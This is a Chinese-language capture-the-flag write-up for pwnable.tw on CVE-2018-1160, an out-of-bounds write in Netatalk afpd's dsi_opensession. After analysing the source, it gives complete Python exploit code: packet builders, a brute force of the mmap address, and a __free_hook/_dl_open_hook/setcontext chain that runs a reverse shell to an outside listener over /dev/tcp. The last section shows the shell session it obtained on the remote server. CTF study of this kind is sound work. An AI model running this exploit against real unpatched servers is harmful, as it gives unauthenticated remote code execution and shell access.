1 基本信息 1.1 题目信息 根据题目可知这是 CVE-2018-1160 的漏洞复现及利用,提供了 binary、配置文件以及 2 个库
1 2 3 4 5 6 7 8 (base) secreu@Vanilla:~/netatalk$ tree . ├── afp.conf ├── afpd ├── libatalk.so.18 └── libc-2.27.so 0 directories, 4 files
libc 版本是 2.27
1 2 3 4 5 6 7 8 9 10 (pwn) secreu@Vanilla:~/netatalk$ ./libc-2.27.so GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27. Copyright (C) 2018 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 7.3.0. libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source /glibc/+bugs>.
三个二进制文件基本都是保护全开
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 (pwn) secreu@Vanilla:~/netatalk$ checksec --file=afpd [*] '/home/secreu/netatalk/afpd' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled (pwn) secreu@Vanilla:~/netatalk$ checksec --file=libc-2.27.so [*] '/home/secreu/netatalk/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled (pwn) secreu@Vanilla:~/netatalk$ checksec --file=libatalk.so.18 [*] '/home/secreu/netatalk/libatalk.so.18' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
配置文件提供关键信息,监听端口 5566
1 2 3 4 5 6 (pwn) secreu@Vanilla:~/netatalk$ cat afp.conf [Global] afp port = 5566 disconnect time = 0 max connections = 1000 sleep time = 0
CVE 描述提供了几个个有用的信息:
漏洞版本 ≤ 3.1.11,我们下载 Netatalk 3.1.11 的源码即可
漏洞出现在 dsi_opensess.c 中,并且是一个溢出漏洞
Netatalk before 3.1.12 is vulnerable to an out of bounds write in dsi_opensess.c. This is due to lack of bounds checking on attacker controlled data. A remote unauthenticated attacker can leverage this vulnerability to achieve arbitrary code execution.
1.2 Netatalk Netatalk 是一个开源文件服务器,基于 Apple Filing Protocol (AFP) 协议进行通信 AFP 协议是苹果开发的文件协议,苹果文件服务的一部分
2 程序分析 下面的程序分析基于题目提供的文件以及 Netatalk 3.1.11 源码
2.1 运行程序 原本是想用 docker 运行 Netatalk 3.1.11,但在源码中找到了 Netatalk 启动 afpd 的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int main (int argc, char **argv) { ... while ((c = getopt(argc, argv, ":dF:vV" )) != -1 ) { switch (c) { case 'd' : debug = 1 ; break ; case 'F' : obj.cmdlineconfigfile = strdup(optarg); break ; case 'v' : case 'V' : show_netatalk_version( ); puts ( "" ); show_netatalk_paths( ); puts ( "" ); exit ( 0 ); break ; default : usage(); exit (EXIT_FAILURE); } } ... if ((afpd_pid = run_process(_PATH_AFPD, "-d" , "-F" , obj.options.configfile, NULL )) == NETATALK_SRV_ERROR) { LOG(log_error, logtype_afpd, "Error starting 'afpd'" ); netatalk_exit(EXITERR_CONF); } ...
在 \etc\netatalk\netatalk.c 的 main 函数可以发现,-d 参数开启 debug 模式,-F 参数指定配置文件,然后我们只需要再利用环境变量 LD_LIBRARY_PATH 指定 libc,用 LD_LIBRARY_PATH 指定动态链接库为当前目录即可完成库的加载。 pwnable.tw 使用的 docker 镜像为 Ubuntu18.04,所以我们也用 Ubuntu18.04,运行下面的命令启动 afpd
1 (pwn) secreu@Vanilla:~/netatalk$ LD_PRELOAD=./libc-2.27.so LD_LIBRARY_PATH=./ ./afpd -d -F ./afp.conf
2.2 漏洞点 根据 CVE 描述直奔 dsi_opensess.c 文件,只有一个很短的函数 dsi_opensession,根据注释大致猜测其实现功能为:开启会话,根据 client 传来的数据设置一定的参数,然后再将其中的 server quantum 发回给 client。先不管其中变量的含义,总之就是服务端和客户端建立会话。 该函数中有三个 memcpy,但是后两个 memcpy 的参数显然不是我们能够控制的,特别是 size 固定为 4 字节。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 void dsi_opensession (DSI *dsi) { uint32_t i = 0 ; int offs; if (setnonblock(dsi->socket, 1 ) < 0 ) { LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s" , strerror(errno)); AFP_PANIC("setnonblock error" ); } while (i < dsi->cmdlen) { switch (dsi->commands[i++]) { case DSIOPT_ATTNQUANT: memcpy (&dsi->attn_quantum, dsi->commands + i + 1 , dsi->commands[i]); dsi->attn_quantum = ntohl(dsi->attn_quantum); case DSIOPT_SERVQUANT: default : i += dsi->commands[i] + 1 ; break ; } } dsi->header.dsi_flags = DSIFL_REPLY; dsi->header.dsi_data.dsi_code = 0 ; dsi->cmdlen = 2 * (2 + sizeof (i)); dsi->commands[0 ] = DSIOPT_SERVQUANT; dsi->commands[1 ] = sizeof (i); i = htonl(( dsi->server_quantum < DSI_SERVQUANT_MIN || dsi->server_quantum > DSI_SERVQUANT_MAX ) ? DSI_SERVQUANT_DEF : dsi->server_quantum); memcpy (dsi->commands + 2 , &i, sizeof (i)); offs = 2 + sizeof (i); dsi->commands[offs] = DSIOPT_REPLCSIZE; dsi->commands[offs+1 ] = sizeof (i); i = htonl(REPLAYCACHE_SIZE); memcpy (dsi->commands + offs + 2 , &i, sizeof (i)); dsi_send(dsi); }
所以漏洞应该出现在 memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]); 分析这部分的代码可知:宏 DSIOPT_ATTNQUANT 的值为 1,我们可以利用 dsi->commands 实现对 dsi->attn_quantum 的溢出,其中 dsi->commands 应为下面的结构
Byte 0
Byte 1
Byte 2 ~ n
1
size of data
data
但是 DSI 是什么?dsi.h 给出了答案,看起来像是传输数据流量的接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 typedef struct DSI { struct DSI *next ; AFPObj *AFPobj; int statuslen; char status[1400 ]; char *signature; struct dsi_block header ; struct sockaddr_storage server , client ; struct itimerval timer ; int tickle; int in_write; int msg_request; int down_request; uint32_t attn_quantum, datasize, server_quantum; uint16_t serverID, clientID; uint8_t *commands; uint8_t data[DSI_DATASIZ]; size_t datalen, cmdlen; off_t read_count, write_count; uint32_t flags; int socket; int serversock; size_t dsireadbuf; char *buffer; char *start; char *eof; char *end; #ifdef USE_ZEROCONF char *bonjourname; int zeroconf_registered; #endif pid_t (*proto_open)(struct DSI *); void (*proto_close)(struct DSI *); } DSI;
所以 afpd server 就是通过 DSI 和 client 进行会话和数据传输。查询资料得知,DSI 是一种会话层协议,它基于 TCP 传输 AFP。其数据包结构如下,前 16 字节是 DSI Header,后续都是 DSI Payload
dsi->commands[1] 最大为 0xFF,所以在 DSI 结构体中,只要控制了 commmands,就能够实现对 attn_quantum 的溢出,覆盖后续的 datasize、server_quantum、serverID、clientID、commands
2.3 程序流程
这一节分析 afpd 的主要逻辑,觉得看的繁琐头昏的读者可以直接去看下面的流程图
从 dsi_opensession 入手,可以溯源到 /ect/afpd/main.c 中的 main 函数。调用链为 main -> dsi_start -> dsi_getsession -> dsi_opensession 首先在 main 函数中,先做一系列初始化工作,然后等待 client 连接,接收到连接后进入 dsi_start。根据注释,这是一个父进程维持监听,fork 子进程进行会话处理的架构。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 int main (int ac, char **av) { ... afp_child_t *child; while (1 ) { ... for (int i = 0 ; i < asev->used; i++) { if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) { switch (asev->data[i].fdtype) { case LISTEN_FD: if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) { ... } } break ; ... } } } } return 0 ; }
进入 dsi_start,首先进入 dsi_getsession
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 static afp_child_t *dsi_start (AFPObj *obj, DSI *dsi, server_child_t *server_children) { afp_child_t *child = NULL ; if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0 ) { LOG(log_error, logtype_afpd, "dsi_start: session error: %s" , strerror(errno)); return NULL ; } if (child == NULL ) { configfree(obj, dsi); afp_over_dsi(obj); exit (0 ); } return child; }
dsi_getsession 是真正完成 fork 子进程的地方:
父进程会退出该函数回到 dsi_start 然后再回到 main 继续等待 client 连接
子进程则会在 DSI Header 中设置 Command 为 DSIFUNC_OPEN 时进入 dsi_opensession
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int dsi_getsession (DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp) { ... switch (pid = dsi->proto_open(dsi)) { case -1 : LOG(log_error, logtype_dsi, "dsi_getsess: %s" , strerror(errno)); return -1 ; case 0 : break ; default : ... } ... switch (dsi->header.dsi_command) { case DSIFUNC_STAT: ... case DSIFUNC_OPEN: ... dsi_opensession(dsi); *childp = NULL ; return 0 ; default : ... } }
接下来我们追踪子进程的处理流程,目前为 main -> dsi_start -> dsi_getsessiondsi_getsession 中调用 switch (pid = dsi->proto_open(dsi)) 时会隐性调用 dsi_tcp_open 函数,这是因为 dsi->proto_open 在 main 函数初始化配置时被指向了该函数,main -> configinit -> dsi_tcp_init
1 2 3 4 5 6 7 8 int dsi_tcp_init (DSI *dsi, const char *hostname, const char *inaddress, const char *inport) { ... dsi->proto_open = dsi_tcp_open; dsi->proto_close = dsi_tcp_close; ... }
dsi_tcp_open 函数会调用 dsi_init_buffer 初始化 dsi->commands 和 dsi->buffer。我们主要关注和漏洞高度相关的 dsi->commands,它被初始化为 malloc 申请出的内存,大小为 dsi->server_quantum,追溯 dsi->server_quantum 的初始值,发现是 DSI_SERVQUANT_DEF = 0x100000L
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 static void dsi_init_buffer (DSI *dsi) { if ((dsi->commands = malloc (dsi->server_quantum)) == NULL ) { LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM" ); AFP_PANIC("OOM in dsi_init_buffer" ); } if ((dsi->buffer = malloc (dsi->dsireadbuf * dsi->server_quantum)) == NULL ) { LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM" ); AFP_PANIC("OOM in dsi_init_buffer" ); } dsi->start = dsi->buffer; dsi->eof = dsi->buffer; dsi->end = dsi->buffer + (dsi->dsireadbuf * dsi->server_quantum); }
回到 dsi_tcp_open,该函数利用 dsi_stream_read 对 client 的消息进行了读取,完成了 TCP 连接。
这里不对 dsi_stream_read 进行详细分析,直接讲结论:该函数的从 dsi(参数 1) 的 dsi->buffer 中读取来自 socket 的数据,存入参数 2 对应的地址中,参数 3 对应读取的字节数 我们以下面出现的三个 dsi_stream_read 为锚点分析:
首先读取了 DSI Header 前 2 字节到 block 中,做了一些检验
然后读取了 DSI Header 剩下的字节(一共 16 字节)到 block 中,将对应的字段存入 dsi 中
最后读取 DSI Payload 到 dsi->commands 中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 static pid_t dsi_tcp_open (DSI *dsi) { ... if (0 == (pid = fork()) ) { dsi_init_buffer(dsi); len = dsi_stream_read(dsi, block, 2 ); ... stored = 2 ; while (stored < DSI_BLOCKSIZ) { len = dsi_stream_read(dsi, block + stored, sizeof (block) - stored); if (len > 0 ) stored += len; else { LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s" , strerror(errno)); exit (EXITERR_CLNT); } } dsi->header.dsi_flags = block[0 ]; dsi->header.dsi_command = block[1 ]; memcpy (&dsi->header.dsi_requestID, block + 2 , sizeof (dsi->header.dsi_requestID)); memcpy (&dsi->header.dsi_data.dsi_code, block + 4 , sizeof (dsi->header.dsi_data.dsi_code)); memcpy (&dsi->header.dsi_len, block + 8 , sizeof (dsi->header.dsi_len)); memcpy (&dsi->header.dsi_reserved, block + 12 , sizeof (dsi->header.dsi_reserved)); dsi->clientID = ntohs(dsi->header.dsi_requestID); dsi->cmdlen = min(ntohl(dsi->header.dsi_len), dsi->server_quantum); stored = 0 ; while (stored < dsi->cmdlen) { len = dsi_stream_read(dsi, dsi->commands + stored, dsi->cmdlen - stored); if (len > 0 ) stored += len; else { LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s" , strerror(errno)); exit (EXITERR_CLNT); } } } return pid; }
完成读取后我们回到 dsi_getsession 中,子进程带着已经存有 DSI Paylaod 的 dsi->commands 进入 dsi_opensession 根据前面的分析,我只需要构造 DSI Paylaod 即可实现对 attn_quantum、datasize、server_quantum、serverID、clientID、commands 的覆盖 子进程完成 dsi_opensession 后,回到 dsi_getsession,再回到 dsi_start,紧接着执行 configfree,该函数释放了其他 obj 或 dsi,这里不做过多分析。 最后进入 afp_over_dsi,处理后续所有的 client 请求。该函数循环调用 dsi_stream_receive 读取 client 请求,然后根据 DSI Header 中的 Command 字段(第 2 个字节)进行请求处理。
DSIFUNC_CLOSE:调用 afp_dsi_close 关闭会话后退出
DSIFUNC_CMD:根据 dsi->commands[0],从 AFP 函数表中选择对应的函数执行
注意这里没有 DSIFUNC_OPEN,这是因为会话已经建立,再 DSIFUNC_OPEN 会进入 switch default 分支,最后进入 afp_dsi_die,该函数也会执行 afp_dsi_close
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 void afp_over_dsi (AFPObj *obj) { DSI *dsi = (DSI *) obj->dsi; ... while (1 ) { ... cmd = dsi_stream_receive(dsi); if (cmd == 0 ) ... switch (cmd) { case DSIFUNC_CLOSE: ... case DSIFUNC_TICKLE: ... case DSIFUNC_CMD: function = (u_char) dsi->commands[0 ]; if (replaycache[rc_idx].DSIreqID == dsi->clientID && replaycache[rc_idx].AFPcommand == function) { ... } else { if (afp_switch[function]) { ... AFP_AFPFUNC_START(function, (char *)AfpNum2name(function)); AFP_AFPFUNC_DONE(function, (char *)AfpNum2name(function)); ... } else ... } break ; case DSIFUNC_WRITE: ... case DSIFUNC_ATTN: ... default : ... } afp_dsi_die(EXITERR_CLNT); }
dsi_stream_receive 也是先读 DSI Header,然后将 DSI Payload 读取到 dsi->commands
这里使用的 dsi->commands 是可以在建立会话时被我们利用漏洞覆盖的,所以这里存在任意地址写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int dsi_stream_receive (DSI *dsi) { char block[DSI_BLOCKSIZ]; ... if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof (block)) != sizeof (block)) return 0 ; dsi->header.dsi_flags = block[0 ]; dsi->header.dsi_command = block[1 ]; if (dsi->header.dsi_command == 0 ) return 0 ; ... dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum); ... if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen) return 0 ; ... return block[1 ]; }
最后一个值得关注的函数是 dsi_close,它会在 afp_dsi_close 关闭会话时执行,而其中有一个 free
所以可以通过覆盖 __free_hook 劫持执行流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void dsi_close (DSI *dsi) { if (!(dsi->flags & DSI_SLEEPING) && !(dsi->flags & DSI_DISCONNECTED)) { dsi->header.dsi_flags = DSIFL_REQUEST; dsi->header.dsi_command = DSIFUNC_CLOSE; dsi->header.dsi_requestID = htons(dsi_serverID(dsi)); dsi->header.dsi_data.dsi_code = dsi->header.dsi_reserved = htonl(0 ); dsi->cmdlen = 0 ; dsi_send(dsi); dsi->proto_close(dsi); } free (dsi); }
2.4 流程图 根据程序流程分析绘制出如下的树状图,主要跟踪子进程处理会话的部分,该树的先序遍历就是主要相关的函数执行流
3 漏洞利用 根据上面的程序分析,利用的基本框架显而易见了:利用漏洞覆盖 dsi->commands 这个地址,然后传入新的数据包实现任意地址写,我们可以覆盖 __free_hook,然后关闭会话执行 free 即可劫持执行流
3.1 溢出和任意地址写 分析了那么多,下面和 afpd 交互跟踪调试一番 首先回顾 DSI 结构体中我们能够覆盖字段,因为只能覆盖 0xFF 字节,所以最多覆盖部分的 dsi->data,不过足够了,我们只需要覆盖到 dsi->commands
1 2 3 4 5 6 7 8 typedef struct DSI { ... uint32_t attn_quantum, datasize, server_quantum; uint16_t serverID, clientID; uint8_t *commands; uint8_t data[DSI_DATASIZ]; ... } DSI;
构建 DSI Packet,由 DSI Header 和 DSI Payload 两部分组成,注意网络数据包采用的是大端序 DSI Payload 根据 dsi_opensession 函数分成 code、size of data 和 data 三部分,当 code 为 DSIOPT_ATTNQUANT 才会执行漏洞函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 DSIOPT_ATTNQUANT = 1 DSI_OPEN_SESSION = 4 SERVER_QUANTUM = b"ABBA" def gen_dsi_packet (command: int , payload: bytes ) -> bytes : header = p8(0 ) header += p8(command) header += p16(1 ) header += p32(0 ) header += p32(len (payload), endianness='big' ) header += p32(0 ) packet = header + payload return packet def gen_dsi_payload (code: int , data: bytes ) -> bytes : payload = p8(code) payload += p8(len (data)) payload += data return payload if __name__ == '__main__' : io = remote(RHOST, RPORT) payload = p32(0 ) + p32(0 ) + SERVER_QUANTUM + p16(0 ) + p16(0 ) + b'ABCDEFGH' dsi_payload = gen_dsi_payload(DSIOPT_ATTNQUANT, payload) dsi_packet = gen_dsi_packet(DSI_OPEN_SESSION, dsi_payload) io.send(dsi_packet) print (io.recv())
尝试覆盖 dis->commands 为 b’ABCDEFGH’,但是 afpd server 并没有给出任何回复,这大概率是因为将 dis->commands 覆盖为非法地址,导致后续引用 dis->commands 发生段错误 使用 gdb attatch PID 进入跟踪调试,注意还要使用 set follow-fork-mode child,这样 gdb 会自动帮我们切换到子进程中
果然是因为对非法地址进行了引用,发生段错误时 rcx 正好是我们发送的 b’ABCDEFGH’ 这一次我们不覆盖 dsi->commands,记下发生段错误的地址并打上断点,进行调试,看到断点出 rcx 值为 0x74c9e5d28010,这应该就是 dsi->commands 的值
搜索我们发送的 SERVER_QUANTUM = b"ABBA",找到 dsi->commands 以及其他字段的内容
并且 dsi->commands 这个地址位于 ld,比 libc 要高一些
当我们将 dsi->commands 覆盖为一个可写的地址,下一次发送 DSI Packet 时,Payload 部分就会被写入该地址
3.2 爆破地址 回顾程序分析,dsi->commands 被初始化为 malloc(0x100000L) 得来的地址,这个大小为 1 MB,远远超过了 brk 能分配的 128 KB,所以由 mmap 从进程的虚拟地址空间中找出一块空闲区域。从上一节跟踪调试的情况来看该地址高于 libc
由于父子进程存在相同的内存布局,我们可以通过爆破来泄露地址,dsi_opensession 会在收到第一个创建会话的请求后返回 server quantum 给我们,我们只需要验证能否收到回复即可确定是否覆盖了一个可访问的地址
爆破从 dsi->commands 的低字节开始,每个字节从 0xFF 到 0x00,一开始覆盖 1 个字节,然后覆盖 2 个字节,最后覆盖满 6 个字节(最高 2 个字节一定是 0)
爆破的根本目的是找到 libc,很显然我们无法确保爆破出的地址就是 dsi->commands 的初值,但我们可以通过这种递减的方法取得一个尽量高的地址,然后对齐 0x1000,不断递减 0x1000 来寻找 libc 基址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def leak_addr () -> int : addr = b'' log.info("Leaking address..." ) while len (addr) < 6 : for i in range (255 , -1 , -1 ): payload = p32(0 ) + p32(0 ) + SERVER_QUANTUM + p16(0 ) + p16(0 ) + addr + p8(i) dsi_payload = gen_dsi_payload(DSIOPT_ATTNQUANT, payload) dsi_packet = gen_dsi_packet(DSI_OPEN_SESSION, dsi_payload) io = remote(RHOST, RPORT) io.send(dsi_packet) try : res = io.recv() if SERVER_QUANTUM in res: addr += p8(i) io.close() log.info(f"addr: 0x{addr[::-1 ].hex ()} " ) break except Exception as e: io.close() log.info(f"Error: {e} " ) return u64(addr.ljust(8 , b'\x00' ))
通过爆破我们获取了一个高于 libc 基址且距离较近的地址,我们就可以不断猜测 libc 基址来执行利用脚本,直到成功 在本地上爆破出的地址为 0x74c9e5e5ffff,dsi->commands 实际为 0x74c9e5d28010,两者差距并不大,并且离 libc 基址 0x74c9e5800000 也并不遥远
3.3 远程代码执行 有 libc 基址就可以覆盖 __free_hook 从而在关闭会话时劫持执行流,并且我们也有 system,接下来确定执行什么 可以尝试获取 shell,因为 free 需要关闭会话来触发,所以我们执行反弹 shell bash -c "bash -i >& /dev/tcp/IP/PORT 0<&1",其中 IP 和 PORT 是接收 shell 的服务器的监听地址 要达到目标,我们最基本的要求是能够控制 rdi,总结我们已有的能力:覆盖 dsi->commands 为任意地址一次,该地址必须能访问,初步确定为 __free_hook 前一点,因为我们要利用 free 劫持执行流 但是如何控制参数?我们需要另一个像 __free_hook 一样能被我们覆盖且能被 libc 取用的结构 所幸在 __free_hook + 0x2bc0 处有一个 _dl_open_hook,并且它会被 __libc_dopen_mode 访问。不需要使用完整的 __libc_dopen_mode,只要最后 2 条指令作为第一个 gadget,这样我们就控制了 rax
但是这里 rax 必须是一个能够访问的地址,该地址上要存放我们的下一个 gadget,所以我们直接在 _dl_open_hook 写 _dl_open_hook + 8,然后在 _dl_open_hook + 8 处写下一条 gadget。 控制了 rax 后就可以利用 rax 控制 rdi,并且还要确保之后能够返回到我们能够控制的地址。我们选用下图所示 0x86315 处的 mov rdi, rax ; call qword ptr [rax + 8],这样 rdi 就和 rax 相等,并且下一条 gadget 要放在 rax + 8 也就是 _dl_open_hook + 0x10 处
此时 rdi = _dl_open_hook + 8,接下来就是如何利用 rdi 传递参数给 system
为了能让 rdi 指向控制区域的其他地方以便布置 system 参数,笔者试图寻找过如下的 gadget,但均以失败告终,要么不能跳转到能控制的地址,要么就是前后两个立即数有一个是 0:
mov rdi, [rax + imm] ; call [rax + imm]
lea rdi, [rax + imm] ; call [rax + imm]
add rdi, imm ; call [rax + imm]
mov rdi, [rdi + imm] ; call [rax + imm]
lea rdi, [rdi + imm] ; call [rax + imm]
通过学习,笔者了解到 SROP (Sigreturn Oriented Programming)。类 Unix 系统的 signal 机制会保存进程上下文到栈上,保存的区域称作 Signal Frame,当要返回到进程时,内核会调用 sigreturn 系统调用恢复进程上下文,所以 SROP 的主要工作就是伪造 Signal Frame 然后触发 sigreturn 在 libc-2.27 中有一个恢复上下文的函数 setcontext,它使用 rdi 作为索引,依次恢复了所有寄存器的值,除了 rax = 0。现在既然我们已经有了 rdi,自然可以伪造一个 Signal Frame,设置好新的 rip、rdi 等关键寄存器,然后执行 setcontext 即可 这里我们从恢复寄存器的部分 setcontext + 53 开始即可
最后构造的 DSI Payload 如下图所示,在发送该数据包前,先将 dsi->commands 覆盖为 __free_hook - 0x10,因为 afpd 会对 dsi->commands 开始的头几个字节做一些处理,为了避免发生错误,我们空出 16 字节 在 __free_hook + 8 处存放 system 参数 cmd bash -c "bash -i >& /dev/tcp/IP/PORT 0<&1",所以最后 Signal Frame 中的 rdi 为 __free_hook + 8
发送完该 DSI Payload 后,关闭会话,afpd 执行 free,触发劫持,依次执行三处 gadgets,我们只要在地址 IP:PORT 上开启监听等待 shell 弹过来即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 def exploit (libc_base: int ) -> None : free_hook = libc_base + libc.symbols['__free_hook' ] dl_open_hook = libc_base + libc.symbols['_dl_open_hook' ] system = libc_base + libc.symbols['system' ] setcontext_53 = libc_base + 0x520A5 libc_dlopen_mode_56 = libc_base + 0x166488 mvo_rdi_rax_call_rax_8 = libc_base + 0x86315 io = remote(RHOST, RPORT) payload = p32(0 ) + p32(0 ) + SERVER_QUANTUM + p16(0 ) + p16(0 ) + p64(free_hook - 0x10 ) dsi_payload = gen_dsi_payload(DSIOPT_ATTNQUANT, payload) dsi_packet = gen_dsi_packet(DSI_OPEN_SESSION, dsi_payload) io.send(dsi_packet) try : res = io.recv() log.info(f"res: {res} " ) except Exception as e: res = None log.info(f"Error: {e} " ) cmd = b'bash -c "bash -i >& /dev/tcp/%s/%d 0<&1"' % (LHOST.encode(), LPORT) sf = SigreturnFrame() sf.rip = system sf.rsp = free_hook sf.rdi = free_hook + 0x8 payload = b'' .ljust(0x10 , b'\x00' ) payload += p64(libc_dlopen_mode_56) payload += cmd.ljust(0x2bc0 - 0x8 , b'\x00' ) payload += p64(dl_open_hook + 0x8 ) payload += p64(mvo_rdi_rax_call_rax_8) payload += p64(setcontext_53) payload += bytes (sf)[0x10 :] dsi_packet = gen_dsi_packet(DSI_OPEN_SESSION, payload) io.send(dsi_packet) io.close()
3.4 利用结果 前文已经爆破了一个地址 0x74c9e5e5ffff,将其按 0x1000 对齐,不断减 0x1000 猜测 libc 基址执行漏洞利用脚本
1 2 3 4 5 6 7 8 9 10 11 if __name__ == '__main__' : context(os='linux' , arch='amd64' , log_level='debug' ) leaked_addr = 0x74c9e5e5ffff - 0xfff log.info("leaked_addr: " + hex (leaked_addr)) for i in range (0 , 0xffff000 , 0x1000 ): libc_base = leaked_addr - i log.info("exploiting with libc_base: " + hex (libc_base)) exploit(libc_base)
在本地测试的 libc 基址为 0x74c9e5800000
pwnable.tw 使用的是 linode 服务器,可能需要跑很久才能拿到 shell,有条件可以申请 linode 服务器进行监听,笔者跑通后在 shell 拿到下面的信息,其中 libc 基址为 0x7f6669791000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 root@iZ2ze56h5vena39qt3om1nZ:~# nc -lvnp 7777 Listening on 0.0.0.0 7777 Connection received on 139.162.123.119 51450 bash: cannot set terminal process group (7): Inappropriate ioctl for device bash: no job control in this shell netatalk@08e1e5af1e65:/$ ls ls bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var netatalk@08e1e5af1e65:/$ cd home cd homenetatalk@08e1e5af1e65:/home$ ls ls netatalk netatalk@08e1e5af1e65:/home$ cd netatalk cd netatalknetatalk@08e1e5af1e65:/home/netatalk$ ls ls afp.conf afpd flag libatalk.so.18 netatalk@08e1e5af1e65:/home/netatalk$ ps aux ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 4628 772 ? Ss 2023 0:00 /bin/sh -c su netatalk -c "LD_LIBRARY_PATH=/home/netatalk /home/netatalk/afpd -d -F /home/netatalk/afp.conf" root 6 0.0 0.0 49272 3004 ? S 2023 0:00 su netatalk -c LD_LIBRARY_PATH=/home/netatalk /home/netatalk/afpd -d -F /home/netatalk/afp.conf netatalk 7 0.0 0.0 4628 876 ? Ss 2023 0:00 sh -c LD_LIBRARY_PATH=/home/netatalk /home/netatalk/afpd -d -F /home/netatalk/afp.conf netatalk 8 0.0 0.1 89272 6396 ? S 2023 82:40 /home/netatalk/afpd -d -F /home/netatalk/afp.conf netatalk 7684 0.0 0.0 4628 832 ? S Jun15 0:00 sh -c bash -c 'bash -i >& /dev/tcp/175.119.216.135/7777 0>&1' netatalk 7685 0.0 0.0 18376 3120 ? S Jun15 0:00 bash -c bash -i >& /dev/tcp/175.119.216.135/7777 0>&1 netatalk 7686 0.0 0.0 18508 3440 ? S Jun15 0:00 bash -i netatalk 11307 0.0 0.0 102592 2784 ? S 07:53 0:00 /home/netatalk/afpd -d -F /home/netatalk/afp.conf netatalk 11308 0.0 0.0 4628 920 ? S 07:53 0:00 sh -c bash -c "bash -i>& /dev/tcp/39.107.229.157/7777 0<&1" netatalk 11309 0.0 0.0 18376 3152 ? S 07:53 0:00 bash -c bash -i>& /dev/tcp/39.107.229.157/7777 0<&1 netatalk 11310 0.0 0.0 18508 3516 ? S 07:53 0:00 bash -i netatalk 11546 0.0 0.0 4628 924 ? S 07:56 0:00 sh -c bash -c "bash -i>& /dev/tcp/39.107.229.157/7777 0<&1" netatalk 11547 0.0 0.0 18376 3212 ? S 07:56 0:00 bash -c bash -i>& /dev/tcp/39.107.229.157/7777 0<&1 netatalk 11548 0.0 0.0 18508 3456 ? S 07:56 0:00 bash -i netatalk 11674 0.0 0.0 34400 2924 ? R 07:57 0:00 ps aux netatalk@08e1e5af1e65:/home/netatalk$ cat /proc/11307/maps cat /proc/11307/maps55d35bfb0000-55d35bff2000 r-xp 00000000 08:00 348786 /home/netatalk/afpd 55d35c1f1000-55d35c1f3000 r--p 00041000 08:00 348786 /home/netatalk/afpd 55d35c1f3000-55d35c1f6000 rw-p 00043000 